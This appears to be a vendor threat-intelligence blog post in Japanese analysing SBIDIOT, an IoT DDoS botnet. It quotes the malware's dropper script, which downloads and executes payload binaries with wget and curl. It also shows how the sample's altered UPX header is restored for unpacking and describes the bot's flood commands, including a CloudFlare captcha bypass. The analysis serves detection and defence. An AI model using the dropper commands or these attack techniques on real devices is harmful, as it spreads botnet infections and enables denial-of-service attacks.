Threat Intelligence:SBIDIOTIoT マルウェアの分析

Threat Intelligence:SBIDIOTIoT マルウェアの分析

世界には何十億ものIoT 接続があり、その70%以上が産業部門に属しています。このため、Nozomi Networks Labsでは、IoT デバイスの脅威状況を定期的にレビューしています。最近、SBIDIOT というマルウェアのサンプルが私たちの注意を引きました。このマルウェアは、VirusTotalでの検出数が比較的少なく、そのコマンドは、現在の形では、サイバーセキュリティ・コミュニティによって十分に文書化されていませんでした。

私たちはSBIDIOTを分析し、SBIDIOTがターゲットとどのように通信し、どのような種類のコマンドをサポートしているかを明らかにすることにしました。この情報は脅威の検知に役立ち、防御者は有害な影響が発生する前に阻止または軽減することができます。DDoS(Distributed Denial of Service)ボットネットの潜在的な主な影響は、標的となるサーバーに過度な高負荷を発生させ、ユーザーがサービスにアクセスできなくなることであり、その結果、通常のビジネス運営に損害を与えることです。

影響を避けるためには、早期発見が重要です。検知は、セキュリティ・チーム(本記事の最後にあるマルウェア指標を参照)または当社のようなネットワーク監視およびthreat intelligence ソリューションを使用することで行うことができます。

SBIDIOTマルウェアの分析

私たちの情報によると、このマルウェアが伝播する少なくとも1つの方法は、ZTEルーターのRCE脆弱性を悪用することです。古いバージョンでは、シェルスクリプトshがさまざまな手段で被害者のマシンに配信されると、バイナリペイロードをダウンロードして実行することが確認されています:

/bin/bashcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http:///SBIDIOT/x86; curl -O http:///SBIDIOT/x86;cat x86 >SSH;chmod +x *;./SSH SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http:///SBIDIOT/mips; curl -O http:///SBIDIOT/mips;cat mips >SSH;chmod +x *;./SSH SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http:///SBIDIOT/mpsl; curl -O http:///SBIDIOT/mpsl;cat mpsl >SSH;chmod +x *;./SSH SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http:///SBIDIOT/arm; curl -O http:///SBIDIOT/arm;cat arm >SSH;chmod +x *;./SSH SSH...

サンプルのe2b3ca0a97107fa351e39111c80b3fefd8cf178864fe82244d41eabe845af4b9は、標準のUPXツールでパックされ、UPXヘッダーは後で変更されます。マルウェアは実行可能なままですが、同じツールを使ってすぐに解凍することはできなくなりました:

$ file e2b3ca0a97107fa351e39111c80b3fefd8cf178864fe82244d41eabe845af4b9e2b3ca0a97107fa351e39111c80b3fefd8cf178864fe82244d41eabe845af4b9:ELF 32-bit LSB 実行形式、Intel 80386、バージョン 1 (GNU/Linux)、静的にリンク、セクションヘッダなし$ upx -d e2b3ca0a97107fa351e39111c80b3fefd8cf178864fe82244d41eabe845af4b9 Ultimate Packer for eXecutables 著作権 (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser 2020年1月23日 ファイルサイズ 比率 形式名 --------- ------ ----- ---- upx: e2b3ca0a97107fa351e39111c80b3fefd8cf178864fe82244d41eabe845af4b9: NotPacked Exception: UPX でパックされていません。 0 個のファイルをアンパックしました。

ここで見られるように、UPX!のサインはYTSx99のカスタムサインに置き換えられた:

UPX!"文字列が置換されたことを示す16進ダンプ。
UPX!"文字列が置換されたことを示す16進ダンプ。

これを元に戻せば、標準のUPXツールを使ってサンプルを解凍できる:

$ perl -pi -e 's/YTS\x99/UPX!/g' e2b3ca0a97107fa351e39111c80b3fefd8cf178864fe82244d41eabe845af4b9 $ upx -d e2b3ca0a97107fa351e39111c80b3fefd8cf178864fe82244d41eabe845af4b9 Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name --------- ------ ----- ---- 55372 <- 30024 54.22% linux/i386 e2b3ca0a97107fa351e39111c80b3fefd8cf178864fe82244d41eabe845af4b9 Unpacked 1 file. $ file e2b3ca0a97107fa351e39111c80b3fefd8cf178864fe82244d41eabe845af4b9 e2b3ca0a97107fa351e39111c80b3fefd8cf178864fe82244d41eabe845af4b9: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

分析の結果、この種の脅威にはよく見られる特徴が明らかになった。コードの一部はGafgytのような他のマルウェアファミリーと共有されており、DDoSに強い焦点が当てられています。

サンプルは静的にリンクされ、ストリップされているため、IoT をターゲットとするマルウェアではほとんど常にそうである。次のステップは、uClibc 用の FLIRT シグネチャをロードして、解析を容易にすることだった。uClibc は Linux カーネルベースの組み込みデバイスで一般的に使用されているコンパクトな C ライブラリで、IoT マルウェア開発者が Mirai で広まったように、クロスコンパイルを容易にするためにも一般的に使用されている。FLIRTシグネチャは基本的に、IDAのようなリバースエンジニアリングツールが既知のライブラリをパターンマッチさせるために使用する手法であり、解析プロセスを大幅に高速化することができる。

FLIRTを使用することで、多くの機能が認識される。
FLIRTを使用することで、多くの機能が認識される。

実行すると、サンプルはC2への接続を試みますが、この場合、C2はバイナリにハードコードされたIPアドレスとポートです。調査期間中、C2インフラは稼働していませんでしたが、私たちはサンプルを私たち自身のサーバーにC2として接続させることができました。いくつかの静的解析と組み合わせることで、プロトコルを迅速に把握し、相互作用を開始するのに十分でした。

コマンドを処理する関数は、C2から受信した各コマンドを以下の文字列のいずれかと比較する:

  • TCP
  • HTTPSTOMP
  • VSE
  • ヘックス
  • エスティディー
  • VOX
  • エヌエフオー
  • UDP
  • UDPH
  • R6
  • エフエヌ
  • OVHKILL
  • NFOKILL
  • ストップ
  • ストップ
  • ストップ

そして、その結果に基づいて、実際のコマンドを実行する前に、引数に対していくつかの検証チェックを行う。

SBIDIOTがサポートするコマンド

TCP

TCPコマンドは、指定されたホスト/ポートの組み合わせ宛のTCPセグメントを、指定された時間間隔で送信するようボットに要求する。さらに、オプションのTCPフラグを設定することもできます。

TCPコマンド・ハンドラでサポートされているカスタムTCPフラグ。
TCPコマンド・ハンドラでサポートされているカスタムTCPフラグ。

HTTPSTOMP

引数として、HTTPメソッド、ホストとポートの組み合わせ、攻撃時間、この操作を何回繰り返すかを指定するリクエストカウントを受け取る。攻撃継続時間とリクエストカウントを超えない場合、この関数は提供された設定とランダムに選択されたユーザーエージェント文字列を使用してHTTPリクエストを実行し続けます。

ユーザーエージェント文字列のハードコードされたリスト。
ユーザーエージェント文字列のハードコードされたリスト。
HTTPSTOMP コマンドハンドラ。
HTTPSTOMP コマンドハンドラ。

さらに、別の関数が呼び出され、ホスト名/ポートコンボの/cdn-cgi/l/chk_captcha URIにHTTPリクエストを実行する。これはCloudFlareの保護メカニズムを回避するために行われます。

VSE

DDoSに使用されるもう一つのコマンドで、提供される引数によって、UDPまたはRAWソケットのいずれかを使用する。ここでもターゲットと攻撃時間の引数を指定することができるが、さらに攻撃者はターゲットに配信されるパケット間の休止間隔を指定することができる。Gafgytやその他のIoT マルウェアの亜種には、Valve Source Engineを実行しているサーバーをターゲットにするVSEコマンドが含まれていることがあります。

一時停止間隔を実装した VSE コマンド・ハンドラのコード・スニペット。
一時停止間隔を実装した VSE コマンド・ハンドラのコード・スニペット。

VOX

VOXコマンドは、ホスト、ポート、攻撃時間を引数として取り、ランダムに選択された3つのハードコードされたペイロードのうちの1つを持つUDPデータグラムを送信する。

ハードコードされたペイロードを含む悪意のあるUDPトラフィックを記録。
ハードコードされたペイロードを含む悪意のあるUDPトラフィックを記録。

UDP

このサンプルは、ポート、攻撃時間、生成されるペイロードの最大サイズを指定して、ターゲットホストにUDPペイロードを送信します。ペイロードの実際のサイズは、最初のNULL値までバイト数をカウントしてサイズを計算するstrlen関数を使用しているため、小さくなる可能性があります。

UDP引数を検証するコマンドハンドラ。
UDP引数を検証するコマンドハンドラ。

HEX/標準/R6/NFO/FN/OVHKILL/NFOKILL/UDFH

上記のコマンドはすべて同じ関数を呼び出し、ホスト名、ポート、攻撃時間を受け取ると、固定ペイロードでUDPトラフィックの生成を開始する。

複数のコード・ブロックが同じ関数を指しているコード図。
複数のコード・ブロックが同じ関数を指しているコード図。

ストップ/ストップ/ストップ

このコマンドは、現在追跡されているすべてのプロセスIDにSIGKILLシグナルを送り、オペレータにプロセスの子プロセスを停止させる能力を与える。

STOPコマンドハンドラ。

Threat Intelligence IoT マルウェアから産業用システムを守るために必要なこと

インターネットに接続されたデバイスの数が年間130%以上のペースで増加する中1、脅威の状況も急速に進化しています。新しいマルウェアや既存のマルウェアの改良版が定期的に出現しています。そして、その複雑さや巧妙さにかかわらず、これらはすべて脅威となります。

生産、稼働時間、そして場合によっては安全性に影響を与える可能性のあるIoT デバイスへの脅威を防御するためには、自動化されたツールが役立ちます。OT/IoT ネットワーク監視と定期的に更新される threat intelligenceは、侵害や異常動作のインジケータを特定し、被害が発生する前に対処する機会を提供します。

Nozomi Networks ラボは、IoT の脅威に関するリアルタイムの情報を提供することをお約束します。

SBIDIOTマルウェアの指標については、このページの最後に記載されている情報を参照してください。

参考文献

  1. 「モノのインターネット:Consumer, Industrial & Public Services 2020-2024", JuniperNetworks, March 31, 2020.